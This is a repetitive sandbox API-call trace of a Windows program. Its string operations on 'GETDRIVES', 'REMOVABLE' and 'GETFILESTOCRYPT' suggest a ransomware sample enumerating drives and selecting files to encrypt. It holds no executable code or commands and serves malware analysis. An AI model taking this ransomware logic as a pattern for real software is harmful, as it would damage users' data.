CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.610] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.610] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.610] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.619] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.619] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.619] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.619] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.619] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.620] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.620] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.620] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.620] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.620] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.620] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.620] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.621] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.621] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.621] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.621] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.621] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.621] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.621] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.622] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.622] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.622] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.622] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.796] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.797] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.797] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.797] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.797] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.797] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.797] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.798] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.798] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.798] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.798] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.798] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.798] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.798] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.799] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.799] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.799] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.799] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.799] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.799] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.799] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.799] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.800] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.801] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.801] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.801] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.803] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.803] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.804] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.804] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.804] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.804] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.804] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.804] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.805] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.805] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.805] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.805] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.805] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.805] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.806] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.806] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.806] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.806] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.806] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.806] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.807] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.821] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.821] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.821] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.821] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.821] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.822] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.822] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.822] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.822] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.822] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.822] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.823] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.823] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.823] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.823] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.823] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.823] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.823] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.823] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.824] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.824] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.824] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.824] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.861] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.861] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.861] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.861] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.861] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.861] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.861] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.861] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.861] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.862] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.862] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.862] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.862] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.862] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.862] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.863] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.863] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.863] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.863] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.863] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.863] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.863] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.864] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.864] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.864] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.864] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.878] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.879] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.879] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.879] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.879] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.879] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.879] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.879] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.879] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.880] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.880] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.880] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.880] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.880] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.881] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.881] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.881] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.881] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.881] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.881] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.881] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.881] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.881] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.882] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.882] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.882] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.882] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.882] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.883] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.883] 